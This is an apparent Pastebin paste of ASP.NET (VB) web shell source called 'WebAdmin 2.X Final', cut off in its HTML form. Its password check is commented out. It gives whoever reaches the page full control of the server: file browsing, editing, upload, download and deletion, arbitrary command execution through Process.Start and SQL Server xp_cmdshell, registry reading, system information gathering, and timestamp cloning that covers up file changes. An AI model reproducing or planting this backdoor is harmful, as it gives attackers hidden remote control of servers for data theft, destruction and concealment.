Advertisement
bilasi

Untitled

Oct 17th, 2016
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.36 KB | None | 0 0
  1. <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="Microsoft.Win32" %>
  5. <%@ import Namespace="System.Data" %>
  6. <%@ import Namespace="System.Data.OleDb" %>
  7. <script runat="server">
  8. /*
  9. shell pass = admin
  10. */
  11. '---------Setting Start---------
  12. 'Here, modify the default password to yours, MD5 Hash
  13. Const PASSWORD as string = "36aea22c89d9c48487a61995f733d1f1"
  14. 'Session name, avoid session crash
  15. Const SESSIONNAME as string = "webadmin2"
  16. '---------Setting End---------
  17.  
  18. Dim SORTFILED As String
  19.  
  20. Sub Page_load(sender As Object, E As EventArgs)
  21. Dim error_x as Exception
  22. Try
  23. If Session(SESSIONNAME) = 0 Then
  24. ShowLogin()
  25. Else
  26. ShowMain()
  27. If not IsPostBack Then
  28. Select Case Request("action")
  29. Case "goto"
  30. CDir.Text = Request("src")
  31. Call ShowFolders(CDir.Text)
  32. Case "copy"
  33. Call ShowCopy(Request("src"))
  34. Case "cut"
  35. Call ShowCut(Request("src"))
  36. Case "down"
  37. Call DownLoadIt(Request("src"))
  38. Case "edit"
  39. Call ShowEdit(Request("src"))
  40. Case "del"
  41. Call ShowDel(Request("src"))
  42. Case "rename"
  43. Call ShowRn(Request("src"))
  44. Case "att"
  45. Call ShowAtt(Request("src"))
  46. End Select
  47. End If
  48. End If
  49. Catch error_x
  50. ShowError(error_x.Message)
  51. End Try
  52. End Sub
  53.  
  54. Sub Login_click(sender As Object, E As EventArgs)
  55. Dim MD5Pass As String = LCase(FormsAuthentication.HashPasswordForStoringInConfigFile(UPass.Text, "MD5"))
  56. ' If MD5Pass=PASSWORD Then
  57. Session(SESSIONNAME) = 1
  58. Call ShowMain()
  59. 'Else
  60. 'Label_Info.Text = "<b>NO, no, you don't my master</b>"
  61. 'End If
  62. End Sub
  63.  
  64. Sub GoTo_click(sender As Object, E As EventArgs)
  65. ULOGIN.Visible= False
  66. MAIN.Visible = True
  67. FileManager.Visible = True
  68. CMD.Visible = false
  69. CloneTime.Visible = False
  70. SQLROOTKIT.Visible = False
  71. SysInfo.Visible = False
  72. Reg.Visible = False
  73. DATA.Visible = False
  74. About.Visible = False
  75. Call ShowFolders(CDir.Text)
  76. End Sub
  77.  
  78. Sub ShowError(ErrorMsg As String)
  79. Label_Info.Text = "<font color=""red""><b>Wrong: </b></font>" & ErrorMsg
  80. End Sub
  81.  
  82. Sub ShowMain()
  83. Label_Info.Text = "Welcome, Master !"
  84. ULOGIN.Visible = False
  85. MAIN.Visible = True
  86. End Sub
  87.  
  88. Sub ShowDrives()
  89. Label_Drives.Text = "Go To : "
  90. Label_Drives.Text += "<a href=""?action=goto&src=" & Server.URLEncode(Server.MapPath(".")) & """> . </a> "
  91. Label_Drives.Text += "<a href=""?action=goto&src=" & Server.URLEncode(Server.MapPath("/")) & """> / </a> "
  92. dim i as integer
  93. for i =0 to Directory.GetLogicalDrives().length-1
  94. Label_Drives.Text += "<a href=""?action=goto&src=" & Directory.GetLogicalDrives(i) & """>" & Directory.GetLogicalDrives(i) & " </a>"
  95. next
  96. End Sub
  97.  
  98. Sub Logout_click(sender As Object, E As EventArgs)
  99. Session.Abandon()
  100. Label_Info.Text = "<b>Byebye !</b>"
  101. Call ShowLogin()
  102. End Sub
  103.  
  104. Sub ShowFileM(sender As Object, E As EventArgs)
  105. ULOGIN.Visible= False
  106. MAIN.Visible = True
  107. FileManager.Visible = True
  108. CMD.Visible = False
  109. CloneTime.Visible = False
  110. SQLROOTKIT.Visible = False
  111. SysInfo.Visible = False
  112. Reg.Visible = False
  113. DATA.Visible = False
  114. About.Visible = False
  115. If CDir.Text = "" Then
  116. CDir.Text = Server.MapPath(".")
  117. End If
  118. Call ShowFolders(CDir.Text)
  119. End Sub
  120.  
  121. Sub ShowFolders(FPath As String)
  122. Dim error_x as Exception
  123. Try
  124. Call ShowDrives()
  125. If right(FPath,1)<>"\" Then
  126. FPath += "\"
  127. End If
  128.  
  129. dim xdir as directoryinfo
  130. dim mydir as new DirectoryInfo(FPath)
  131. dim xfile as fileinfo
  132. Label_Files.Text = "<table width=""90%"" border=""0"" align=""center"">"
  133. Label_Files.Text += "<tr><td width=""40%""><b>Name</b></td><td width=""15%""><b>Size</b></td>"
  134. Label_Files.Text += "<td width=""20%""><b>ModifyTime</b></td><td width=""25%""><b>Operate</b></td></tr>"
  135. Label_Files.Text += "<tr><td><tr><td><a href='?action=goto&src="
  136. Dim tmp As String
  137. If Len(FPath) < 4 Then
  138. tmp = server.UrlEncode(FPath)
  139. Else
  140. tmp = server.UrlEncode(Directory.GetParent(Left(FPath,Len(FPath)-1)).ToString())
  141. End If
  142. Label_Files.Text += tmp & "'><i>|Parent Directory|</i></a></td></tr>"
  143. For each xdir in mydir.getdirectories()
  144. Label_Files.Text += "<tr><td>"
  145. dim filepath as string = server.UrlEncode(FPath & xdir.name)
  146. Label_Files.Text += "<a href='?action=goto&src=" & filepath & "\" & "'>" & xdir.name & "</a></td>"
  147. Label_Files.Text += "<td>&lt;dir&gt;</td>"
  148. Label_Files.Text += "<td>" & Directory.GetLastWriteTime(FPath & "\" & xdir.name) & "</td>"
  149. Label_Files.Text += "<td><a href='?action=cut&src=" & filepath & "\' target='_blank'>Cut" & "</a>|"
  150. Label_Files.Text += "<a href='?action=copy&src=" & filepath & "\' target='_blank'>Copy</a>|"
  151. Label_Files.Text += "<a href='?action=rename&src=" & filepath & "' target='_blank'>Ren</a>|"
  152. Label_Files.Text += "<a href='?action=att&src=" & filepath & "\'" & "' target=_blank'>Att</a>|"
  153. Label_Files.Text += "<a href='?action=del&src=" & filepath & "\'" & "' target=_blank'>Del</a></td>"
  154. Label_Files.Text += "</tr>"
  155. Next
  156. Label_Files.Text += "</td></tr><tr><td>"
  157. For each xfile in mydir.getfiles()
  158. dim filepath2 as string
  159. filepath2=server.UrlEncode(FPath & xfile.name)
  160. Label_Files.Text += "<tr><td>" & xfile.name & "</td>"
  161. Label_Files.Text += "<td>" & GetSize(xfile.length) & "</td>"
  162. Label_Files.Text += "<td>" & file.GetLastWriteTime(FPath & xfile.name) & "</td>"
  163. Label_Files.Text += "<td><a href='?action=edit&src=" & filepath2 & "' target='_blank'>Edit</a>|"
  164. Label_Files.Text += "<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|"
  165. Label_Files.Text += "<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|"
  166. Label_Files.Text += "<a href='?action=rename&src=" & filepath2 & "' target='_blank'>Ren</a>|"
  167. Label_Files.Text += "<a href='?action=down&src=" & filepath2 & "'>Down</a>|"
  168. Label_Files.Text += "<a href='?action=att&src=" & filepath2 & "' target=_blank'>Att</a>|"
  169. Label_Files.Text += "<a href='?action=del&src=" & filepath2 & "' target=_blank'>Del</a></td>"
  170. Label_Files.Text += "</tr>"
  171. Next
  172. Label_Files.Text += "</table>"
  173. Catch error_x
  174. ShowError(error_x.Message)
  175. End Try
  176. End Sub
  177.  
  178. Function GetSize(temp)
  179. if temp < 1024 then
  180. GetSize=temp & " bytes"
  181. else
  182. if temp\1024 < 1024 then
  183. GetSize=temp\1024 & " KB"
  184. else
  185. if temp\1024\1024 < 1024 then
  186. GetSize=temp\1024\1024 & " MB"
  187. else
  188. GetSize=temp\1024\1024\1024 & " GB"
  189. end if
  190. end if
  191. end if
  192. End Function
  193.  
  194. Sub ShowLogin()
  195. ULOGIN.Visible= True
  196. MAIN.Visible = False
  197. FileManager.Visible = False
  198. CMD.Visible = False
  199. CloneTime.Visible = False
  200. SQLROOTKIT.Visible = False
  201. SysInfo.Visible = False
  202. Reg.Visible = False
  203. DATA.Visible = False
  204. About.Visible = False
  205. End Sub
  206.  
  207. 'Show Cmd
  208. Sub Button_showcmd_Click(sender As Object, E As EventArgs)
  209. ULOGIN.Visible = False
  210. MAIN.Visible = True
  211. FileManager.Visible = False
  212. CMD.Visible = True
  213. CloneTime.Visible = False
  214. SQLROOTKIT.Visible = False
  215. SysInfo.Visible = False
  216. Reg.Visible = False
  217. DATA.Visible = False
  218. About.Visible = False
  219. End Sub
  220.  
  221. 'Show clonetime
  222. Sub Button_showclone_Click(sender As Object, E As EventArgs)
  223. ULOGIN.Visible = False
  224. MAIN.Visible = True
  225. FileManager.Visible = False
  226. CMD.Visible = False
  227. CloneTime.Visible = True
  228. SQLROOTKIT.Visible = False
  229. SysInfo.Visible = False
  230. Reg.Visible = False
  231. DATA.Visible = False
  232. About.Visible = False
  233. End Sub
  234.  
  235. Sub Button_showcmdshell_Click(sender As Object, E As EventArgs)
  236. ULOGIN.Visible = False
  237. MAIN.Visible = True
  238. FileManager.Visible = False
  239. CMD.Visible = False
  240. CloneTime.Visible = False
  241. SQLROOTKIT.Visible = True
  242. SysInfo.Visible = False
  243. Reg.Visible = False
  244. DATA.Visible = False
  245. About.Visible = False
  246. End Sub
  247.  
  248. Sub Button_showinfo_Click(sender As Object, E As EventArgs)
  249. ULOGIN.Visible = False
  250. MAIN.Visible = True
  251. FileManager.Visible = False
  252. CMD.Visible = False
  253. CloneTime.Visible = False
  254. SQLROOTKIT.Visible = False
  255. SysInfo.Visible = True
  256. Reg.Visible = False
  257. DATA.Visible = False
  258. About.Visible = False
  259. ServerIP.Text = request.ServerVariables("LOCAL_ADDR")
  260. MachineName.Text = Environment.MachineName
  261. UserDomainName.Text = Environment.UserDomainName.ToString()
  262. UserName.Text = Environment.UserName
  263. OS.Text = Environment.OSVersion.ToString()
  264. StartTime.Text = GetStartedTime(Environment.Tickcount) & "Hours"
  265. NowTime.Text = Now()
  266. IISV.Text = request.ServerVariables("SERVER_SOFTWARE")
  267. HTTPS.Text = request.ServerVariables("HTTPS")
  268. PATHS.Text = request.ServerVariables("PATH_INFO")
  269. PATHS2.Text = request.ServerVariables("PATH_TRANSLATED")
  270. PORT.Text = request.ServerVariables("SERVER_PORT")
  271. SID.Text = Session.SessionID
  272. End Sub
  273.  
  274. Function GetStartedTime(ms)
  275. GetStartedTime=cint(ms/(1000*60*60))
  276. End function
  277.  
  278. Sub ShowReg(Src As Object, E As EventArgs)
  279. ULOGIN.Visible = False
  280. MAIN.Visible = True
  281. FileManager.Visible = False
  282. CMD.Visible = False
  283. CloneTime.Visible = False
  284. SQLROOTKIT.Visible = False
  285. SysInfo.Visible = False
  286. Reg.Visible = True
  287. DATA.Visible = False
  288. About.Visible = False
  289. End Sub
  290.  
  291. Sub ShowData(Src As Object, E As EventArgs)
  292. ULOGIN.Visible = False
  293. MAIN.Visible = True
  294. FileManager.Visible = False
  295. CMD.Visible = False
  296. CloneTime.Visible = False
  297. SQLROOTKIT.Visible = False
  298. SysInfo.Visible = False
  299. Reg.Visible = False
  300. DATA.Visible = True
  301. About.Visible = False
  302. End Sub
  303.  
  304. Sub ShowAbout(Src As Object, E As EventArgs)
  305. ULOGIN.Visible = False
  306. MAIN.Visible = True
  307. FileManager.Visible = False
  308. CMD.Visible = False
  309. CloneTime.Visible = False
  310. SQLROOTKIT.Visible = False
  311. SysInfo.Visible = False
  312. Reg.Visible = False
  313. DATA.Visible = False
  314. About.Visible = True
  315. End Sub
  316.  
  317. Sub ShowEdit( filepath as string)
  318. ULOGIN.Visible = False
  319. MAIN.Visible = false
  320. FileManager.Visible = False
  321. CMD.Visible = False
  322. CloneTime.Visible = False
  323. SQLROOTKIT.Visible = False
  324. SysInfo.Visible = False
  325. Reg.Visible = False
  326. DATA.Visible = False
  327. About.Visible = False
  328. File_Edit.Visible = true
  329. edited_path.Text = filepath
  330. dim myread as new streamreader(filepath, encoding.default)
  331. edited_path.text = filepath
  332. edited_content.text=myread.readtoend
  333. myread.close()
  334. End Sub
  335.  
  336. Sub ShowDel( filepath as string)
  337. MAIN.Visible = false
  338. FileManager.Visible = False
  339. File_del.Visible = True
  340. label_del.Text = "Are u sure delete file/Folder <b>" & filepath & "</b> ?"
  341. End Sub
  342.  
  343. Sub ShowRn( filepath as string)
  344. MAIN.Visible = false
  345. FileManager.Visible = False
  346. File_Rename.Visible = True
  347. btn_rename.Text = path.getfilename(filepath)
  348. End Sub
  349.  
  350. Sub RunCMD(Src As Object, E As EventArgs)
  351. Dim error_x as Exception
  352. Try
  353. Dim myProcess As New Process()
  354. Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
  355. myProcessStartInfo.UseShellExecute = False
  356. myProcessStartInfo.RedirectStandardOutput = true
  357. myProcess.StartInfo = myProcessStartInfo
  358. myProcessStartInfo.Arguments = CMDCommand.text
  359. myProcess.Start()
  360. Dim myStreamReader As StreamReader = myProcess.StandardOutput
  361. Dim myString As String = myStreamReader.Readtoend()
  362. myProcess.Close()
  363. mystring=replace(mystring,"<","&lt;")
  364. mystring=replace(mystring,">","&gt;")
  365. CMDresult.text = "<pre>" & mystring & "</pre>"
  366. Catch error_x
  367. ShowError(error_x.Message)
  368. End Try
  369. End Sub
  370.  
  371. Sub GoCloneTime(Src As Object, E As EventArgs)
  372. Dim error_x as Exception
  373. Try
  374. Dim thisfile As FileInfo =New FileInfo(time1.Text)
  375. Dim thatfile As FileInfo =New FileInfo(time2.Text)
  376. thisfile.LastWriteTime = thatfile.LastWriteTime
  377. thisfile.LastAccessTime = thatfile.LastAccessTime
  378. thisfile.CreationTime = thatfile.CreationTime
  379. Label_cloneResult.Text = "<font color=""red"">Clone Time Success!</font>"
  380. Catch error_x
  381. ShowError(error_x.Message)
  382. End Try
  383. End Sub
  384.  
  385. Sub CMDSHELL(Src As Object, E As EventArgs)
  386. Dim error_x as Exception
  387. Try
  388. Dim adoConn,strQuery,recResult,strResult
  389. adoConn=Server.CreateObject("ADODB.Connection")
  390. adoConn.Open(ConStr.Text)
  391. If Sqlcmd.Text<>"" Then
  392. strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
  393. recResult = adoConn.Execute(strQuery)
  394. If NOT recResult.EOF Then
  395. Do While NOT recResult.EOF
  396. strResult = strResult & chr(13) & recResult(0).value
  397. recResult.MoveNext
  398. Loop
  399. End if
  400. recResult = Nothing
  401. strResult = Replace(strResult," ","&nbsp;")
  402. strResult = Replace(strResult,"<","&lt;")
  403. strResult = Replace(strResult,">","&gt;")
  404. resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  405. End if
  406. adoConn.Close
  407. Catch error_x
  408. ShowError(error_x.Message)
  409. End Try
  410. End Sub
  411.  
  412. Sub ReadReg(Src As Object, E As EventArgs)
  413. Dim error_x as Exception
  414. Try
  415. Dim hu As String = RegKey.Text
  416. Dim rk As RegistryKey
  417. Select Mid( hu ,1 , Instr( hu,"\" )-1 )
  418. case "HKEY_LOCAL_MACHINE"
  419. rk = Registry.LocalMachine.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
  420. case "HKEY_CLASSES_ROOT"
  421. rk = Registry.ClassesRoot.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
  422. case "HKEY_CURRENT_USER"
  423. rk = Registry.CurrentUser.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
  424. case "HKEY_USERS"
  425. rk = Registry.Users.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
  426. case "HKEY_CURRENT_CONFIG"
  427. rk = Registry.CurrentConfig.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
  428. End Select
  429. RegResult.Text = rk.GetValue(RegValue.Text , "NULL")
  430. rk.Close()
  431. Catch error_x
  432. ShowError(error_x.Message)
  433. End Try
  434. End Sub
  435.  
  436. Sub DB_onrB_1(sender As Object, E As EventArgs)
  437. DataCStr.Text = "server=127.0.0.1;UID=sa;PWD=;database=news;Provider=SQLOLEDB"
  438. Type_Acc.Checked = false
  439. Type_SQL.Checked = true
  440. End Sub
  441.  
  442. Sub DB_onrB_2(sender As Object, E As EventArgs)
  443. Type_Acc.Checked = true
  444. Type_SQL.Checked = false
  445. DataCStr.Text = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\MyWeb\UpdateWebadmin\guestbook.mdb"
  446. End Sub
  447.  
  448. Sub DB_Submit_Click(sender As Object, E As EventArgs)
  449. Dim error_x as Exception
  450. Try
  451. DB_eButton.Visible = True
  452. DB_eString.Visible = True
  453. DB_exe.Visible = True
  454. db_showTable.Text = "<br><b>The Tables :</b><br>"
  455. Dim i As Integer
  456. Dim db_conn As New OleDbConnection(DataCStr.Text)
  457. Dim db_schemaTable As DataTable
  458. db_conn.open()
  459. db_schemaTable = db_conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, New Object() {Nothing, Nothing, Nothing, "TABLE"})
  460. For i = 0 To db_schemaTable.Rows.Count - 1
  461. db_showTable.Text += db_schemaTable.Rows(i)!TABLE_NAME.ToString & "<br>"
  462. Next i
  463. db_conn.close()
  464. Catch error_x
  465. ShowError(error_x.Message)
  466. End Try
  467. End Sub
  468.  
  469. Sub DB_Page(sender As Object, e As System.Web.UI.WebControls.DataGridPageChangedEventArgs)
  470. DB_DataGrid.CurrentPageIndex = e.NewPageIndex
  471. Call BindData()
  472. End Sub
  473.  
  474. Sub DB_Sort(sender As Object, E As DataGridSortCommandEventArgs)
  475. SORTFILED = E.SortExpression
  476. Call BindData()
  477. End Sub
  478.  
  479. Sub DB_Exec_Click(sender As Object, E As EventArgs)
  480. DB_ExecRes.Text = ""
  481. If LCase(Left(DB_EString.Text, 6)) = "select" Then
  482. Call BindData()
  483. Else
  484. Call DB_Exec()
  485. End If
  486. End Sub
  487.  
  488. Sub DB_Exec()
  489. Dim error_x as Exception
  490. Try
  491. Dim db_conn As New OleDbConnection(DataCStr.Text)
  492. Dim db_cmd As New OleDbCommand( DB_EString.Text , db_conn )
  493. db_conn.Open()
  494. db_cmd.ExecuteNonQuery()
  495. db_conn.Close()
  496. DB_ExecRes.Text = "<b>Done! </b>"
  497. Catch error_x
  498. ShowError(error_x.Message)
  499. End Try
  500. End Sub
  501.  
  502. Function myGetTableName(SQLS As String)
  503. Dim TEMP, TEMP2 As String
  504. TEMP = Right(SQLs, Len(SQLS) - Instr(1, SQLs, "from", 1) - 3 )
  505. Dim i As Integer
  506. For i = 1 to Len(TEMP)
  507. If Mid(TEMP, i, 1) <> vbcrlf Then
  508. TEMP2 += Mid(TEMP, i, 1)
  509. Else
  510. Exit For
  511. End If
  512. Next
  513. myGetTableName = TEMP2
  514. End Function
  515.  
  516. Sub BindData()
  517. Dim error_x as Exception
  518. Try
  519. Dim myTableName As String = myGetTableName(DB_EString.Text)
  520. Dim db_conn As New OleDbConnection(DataCStr.Text)
  521. Dim db_cmd As New OleDbCommand( DB_EString.Text , db_conn )
  522. Dim db_adp As New OleDbDataAdapter(db_cmd)
  523. Dim db_ds As New DataSet()
  524. db_adp.Fill(db_ds,myTableName)
  525. DB_DataGrid.DataSource = db_ds.Tables(myTableName).DefaultView
  526. db_ds.Tables(myTableName).DefaultView.Sort = SORTFILED
  527. DB_DataGrid.DataBind()
  528. Catch error_x
  529. ShowError(error_x.Message)
  530. End Try
  531. End Sub
  532.  
  533. Sub DownLoadIt(thePath)
  534. Dim error_x as Exception
  535. Try
  536. dim stream
  537. stream=server.createObject("adodb.stream")
  538. stream.open
  539. stream.type=1
  540. stream.loadFromFile(thePath)
  541. response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
  542. response.addHeader("Content-Length",stream.Size)
  543. response.charset="UTF-8"
  544. response.contentType="application/octet-stream"
  545. response.binaryWrite(stream.read)
  546. response.flush
  547. stream.close
  548. stream=nothing
  549. response.End()
  550. Catch error_x
  551. ShowError(error_x.Message)
  552. End Try
  553. End Sub
  554.  
  555. sub FileEdit(Src As Object, E As EventArgs)
  556. Dim error_x as Exception
  557. Try
  558. dim mywrite as new streamwriter(edited_path.text, false, encoding.default)
  559. mywrite.write(edited_content.text)
  560. mywrite.close
  561. response.Write("<script>alert('Edit|Creat " & replace(edited_path.text,"\","\\") & " Success! Please refresh')</sc"&"ript>")
  562. Catch error_x
  563. ShowError(error_x.Message)
  564. End Try
  565. end sub
  566.  
  567. sub FileDel(Src As Object, E As EventArgs)
  568. Call del( Request("src") )
  569. end sub
  570.  
  571. Sub del(a as string)
  572. if right(a,1)="\" then
  573. dim xdir as directoryinfo
  574. dim mydir as new DirectoryInfo(a)
  575. dim xfile as fileinfo
  576. for each xfile in mydir.getfiles()
  577. file.delete(a & xfile.name)
  578. next
  579. for each xdir in mydir.getdirectories()
  580. call del(a & xdir.name & "\")
  581. next
  582. directory.delete(a)
  583. else
  584. file.delete(a)
  585. end if
  586. response.Write("<script>alert('Delete " & replace(a,"\","\\") & " Success! Please refresh')</sc"&"ript>")
  587. response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
  588. End Sub
  589.  
  590. Sub rn_rn_Click(Src As Object, E As EventArgs)
  591. Dim error_x as Exception
  592. Try
  593. Rename( request("src"), Directory.GetParent(request("src")).ToString() & "\" & btn_rename.Text )
  594. response.Write("<script>alert('Rename Success! Please refresh')</sc"&"ript>")
  595. response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
  596. Catch error_x
  597. ShowError(error_x.Message)
  598. End Try
  599. End Sub
  600.  
  601. Sub NewFile(Src As Object, E As EventArgs)
  602. Dim error_x as Exception
  603. Try
  604. Dim temp As String
  605. If right(CDir.Text, 1) <> "\" Then
  606. temp = CDir.Text & "\"
  607. Else
  608. temp = CDir.Text
  609. End If
  610. dim mywrite as new streamwriter(temp & TextBox_FDName.Text, true, encoding.default)
  611. mywrite.close
  612. label_info.Text = "Create File Success !"
  613. Call ShowFolders(CDir.Text)
  614. TextBox_FDName.Text = ""
  615. Catch error_x
  616. ShowError(error_x.Message)
  617. End Try
  618. End Sub
  619.  
  620. Sub NewFolder(Src As Object, E As EventArgs)
  621. Dim error_x as Exception
  622. Try
  623. Dim temp As String
  624. If right(CDir.Text, 1) <> "\" Then
  625. temp = CDir.Text & "\"
  626. Else
  627. temp = CDir.Text
  628. End If
  629. directory.createdirectory(temp & TextBox_FDName.Text)
  630. label_info.Text = "Create Folder Success !"
  631. Call ShowFolders(CDir.Text)
  632. TextBox_FDName.Text = ""
  633. Catch error_x
  634. ShowError(error_x.Message)
  635. End Try
  636. End Sub
  637.  
  638. Sub UpLoad(Src As Object, E As EventArgs)
  639. Dim error_x as Exception
  640. Try
  641. Dim temp As String
  642. If right(CDir.Text, 1) <> "\" Then
  643. temp = CDir.Text & "\"
  644. Else
  645. temp = CDir.Text
  646. End If
  647. dim filename,loadpath as string
  648. filename = path.getfilename(UpFile.value)
  649. loadpath = temp & filename
  650. UpFile.postedfile.saveas(loadpath)
  651. label_info.Text = "Upload File Success !"
  652. Call ShowFolders(CDir.Text)
  653. Catch error_x
  654. ShowError(error_x.Message)
  655. End Try
  656. End Sub
  657.  
  658. Sub ShowAtt(path As String)
  659. MAIN.Visible = false
  660. FileManager.Visible = False
  661. File_Att.Visible = True
  662. If (File.GetAttributes(path) And FileAttributes.Hidden) = FileAttributes.Hidden Then
  663. Hide.Checked = True
  664. End If
  665. If (File.GetAttributes(path) And FileAttributes.ReadOnly) = FileAttributes.ReadOnly Then
  666. onlyread.Checked = True
  667. End If
  668. If (File.GetAttributes(path) And FileAttributes.System) = FileAttributes.System Then
  669. sys.Checked = True
  670. End If
  671. If (File.GetAttributes(path) And FileAttributes.Archive) = FileAttributes.Archive Then
  672. Archive.Checked = True
  673. End If
  674. End Sub
  675.  
  676. Sub SetAttributes( path As String)
  677. If onlyread.Checked = True Then
  678. File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.ReadOnly)
  679. Else
  680. If (File.GetAttributes(path) And FileAttributes.ReadOnly) = FileAttributes.ReadOnly Then
  681. File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.ReadOnly)
  682. End If
  683. End If
  684. If Hide.Checked = True Then
  685. File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.Hidden)
  686. Else
  687. If (File.GetAttributes(path) And FileAttributes.Hidden) = FileAttributes.Hidden Then
  688. File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.Hidden)
  689. End If
  690. End If
  691. If sys.Checked = True Then
  692. File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.System)
  693. Else
  694. If (File.GetAttributes(path) And FileAttributes.System) = FileAttributes.System Then
  695. File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.System)
  696. End If
  697. End If
  698. If Archive.Checked = True Then
  699. File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.Archive)
  700. Else
  701. If (File.GetAttributes(path) And FileAttributes.Archive) = FileAttributes.Archive Then
  702. File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.Archive)
  703. End If
  704. End If
  705. response.Write("<script>alert('Rename Success! Please refresh')</sc"&"ript>")
  706. response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
  707. End Sub
  708.  
  709. Sub Set_Att_Click(Src As Object, E As EventArgs)
  710. Dim error_x as Exception
  711. Try
  712. Call SetAttributes( request("Src") )
  713. Catch error_x
  714. ShowError(error_x.Message)
  715. End Try
  716. End Sub
  717.  
  718. Sub ShowCopy(path As String)
  719. Session("FileAct") = "Copy"
  720. Session("Source") = path
  721. response.Write("<script>alert('File info have add the cutboard, go to target directory click plaste!')</sc"&"ript>")
  722. response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
  723. End Sub
  724.  
  725. Sub ShowCut(path As String)
  726. Session("FileAct") = "Cut"
  727. Session("Source") = path
  728. response.Write("<script>alert('File info have add the cutboard, go to target directory click plaste!')</sc"&"ript>")
  729. response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
  730. End Sub
  731.  
  732. Sub Plaste_Click(Src As Object, E As EventArgs)
  733. Dim error_x as Exception
  734. Try
  735. Dim tmp As String = Session("Source")
  736. Dim temp As String
  737. If right(CDir.Text, 1) <> "\" Then
  738. temp = CDir.Text & "\"
  739. Else
  740. temp = CDir.Text
  741. End If
  742. If Session("FileAct") = "Copy" Then
  743. if right(tmp, 1)="\" then
  744. directory.createdirectory(temp & Path.GetFileName(mid(tmp, 1, len(tmp)-1)))
  745. call copydir(tmp, temp & Path.GetFileName(mid(tmp, 1, len(tmp)-1)) & "\" )
  746. Else
  747. file.copy(tmp, temp & Path.GetFileName(tmp))
  748. End If
  749. response.Write("<script>alert('Copy success!');</s"&"cript>")
  750. ElseIf Session("FileAct") = "Cut" Then
  751. if right(tmp, 1)="\" then
  752. directory.move(tmp, temp & Path.GetFileName(mid(tmp, 1, len(tmp)-1)) & "\")
  753. Else
  754. file.move(tmp, temp & Path.GetFileName(tmp) )
  755. End If
  756. response.Write("<script>alert('Cut success!');</s"&"cript>")
  757. Call ShowFolders(CDir.Text)
  758. Else
  759. response.Write("<script>alert('Plaste Fail!');</s"&"cript>")
  760. End If
  761. Catch error_x
  762. ShowError(error_x.Message)
  763. End Try
  764. End Sub
  765.  
  766. Sub copydir(a As String , b As String)
  767. dim xdir as directoryinfo
  768. dim mydir as new DirectoryInfo(a)
  769. dim xfile as fileinfo
  770. for each xfile in mydir.getfiles()
  771. file.copy(a & xfile.name,b & xfile.name)
  772. next
  773. for each xdir in mydir.getdirectories()
  774. directory.createdirectory(b & path.getfilename(a & xdir.name))
  775. call copydir(a & xdir.name & "\",b & xdir.name & "\")
  776. next
  777. End Sub
  778.  
  779. </script>
  780. <html>
  781. <head>
  782. <title>:: WebAdmin 2.X Final ::</title> <style type="text/css">BODY {
  783. COLOR: #0000ff; FONT-FAMILY: Verdana
  784. }
  785. TD {
  786. COLOR: #0000ff; FONT-FAMILY: Verdana
  787. }
  788. TH {
  789. COLOR: #0000ff; FONT-FAMILY: Verdana
  790. }
  791. BODY {
  792. FONT-SIZE: 14px; BACKGROUND-COLOR: #ffffff
  793. }
  794. A:link {
  795. COLOR: #0000ff; TEXT-DECORATION: none
  796. }
  797. A:visited {
  798. COLOR: #0000ff; TEXT-DECORATION: none
  799. }
  800. A:hover {
  801. COLOR: #ff0000; TEXT-DECORATION: none
  802. }
  803. A:active {
  804. COLOR: #ff0000; TEXT-DECORATION: none
  805. }
  806. .buttom {
  807. BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5
  808. }
  809. .TextBox {
  810. BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid
  811. }
  812. .style3 {
  813. COLOR: #ff0000
  814. }
  815. </style>
  816. <meta http-equiv="Content-Type" content="text/html" />
  817. </head>
  818. <body>
  819. <form method="post" enctype="multipart/form-data" runat="server">
  820. <asp:Label id="Label_Info" runat="server" enableviewstate="False"></asp:Label>
  821. <br />
  822. <br />
  823. <asp:Panel id="ULOGIN" runat="server" Wrap="False" ToolTip="Login">
  824. <asp:Label id="Label_Pwd" runat="server" enableviewstate="False">Password:</asp:Label>
  825. <asp:TextBox class="TextBox" id="UPass" runat="server" Wrap="False" TextMode="Password"></asp:TextBox>
  826. <asp:Button class="buttom" id="Button_Login" onclick="login_click" runat="server" ToolTip="Click here to login" Text="Login"></asp:Button>
  827. </asp:Panel>
